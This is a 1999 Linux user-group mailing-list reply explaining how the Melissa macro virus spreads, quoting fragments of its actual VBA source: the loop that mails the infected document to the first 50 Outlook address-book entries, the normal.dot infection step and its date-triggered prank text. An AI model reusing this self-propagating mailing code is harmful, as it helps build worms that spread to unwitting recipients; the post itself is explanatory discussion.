Re: [aclug-L] Snap:News & Media:Top Stories:Mutating E-Mail Virus

[Jeff <schaller@xxxxxxxxxxxxx>]

On Thu, 1 Apr 1999, Clint A. Brubakken wrote:

> On Thu, 1 Apr 1999, Jeff wrote:
> 
> > melissa only infects Outlook users.
> 
> Not exactly, it will infect any computer if opened in Word 97. I'm not
> sure about sending it to your first 50 email addresses, as I assume It
> uses Outlooks mailbox to send them. 

Well, ok, yes. It also affects "office 2000". I assumed that most people
using Windows to read email would be using Outlook.  The upshot is that if
you have a recent version of Word and you open the attachment, it'll run
the VB code & infect your 'normal.dot' file and send the same message to
the first 50 recipients of your Outlook address book.  Someone on bugtraq
also said that he saw it grab 'common' addressbooks from the server.  
Details.


> Besides Sending mail, does anyone know what else the virus does? I've
> never heard that.

It infects 'normal.dot', and so any new document created using that
template will be infected (and so when the next person opens it, etc).
There's also the neat behavior if the current minute == the current month,
it ... well, here's snippets from the code:

<snip>

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
  If UngaDasOutlook = "Outlook" Then
    DasMapiName.Logon "profile", "password"
    For y = 1 To DasMapiName.AddressLists.Count
        Set AddyBook = DasMapiName.AddressLists(y)
        x = 1
        Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
        For oo = 1 To AddyBook.AddressEntries.Count
            Peep = AddyBook.AddressEntries(x)
            BreakUmOffASlice.Recipients.Add Peep
            x = x + 1
            If x > 50 Then oo = AddyBook.AddressEntries.Count
         Next oo
         BreakUmOffASlice.Subject = "Important Message From " & 
             Application.UserName
         BreakUmOffASlice.Body = "Here is that document you asked for ... don't
 show anyone else ;-)"
         BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
         BreakUmOffASlice.Send
         Peep = ""

<snip>

Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)

<snip>

If NTI1.Name <> "Melissa" Then
  If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
  Set ToInfect = NTI1
  NTI1.Name = "Melissa"
  DoNT = True
End If

'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus tri
ple-word-score, plus fifty points for using all my letters.  Game's over.  I'm
outta here."
End Sub

<snip>


> In addition linux is rather invulrable to viruses as programs run an as a
> non-priveleged user do not have total access to the system. 

Short of DOS attacks & the like, yes.


> Make sure as root you don't run untrusted programs. 

Yes.


-jeff
----
Millions long for immortality who do not know what to do with
themselves on a rainy Sunday afternoon.
                -- Susan Ertz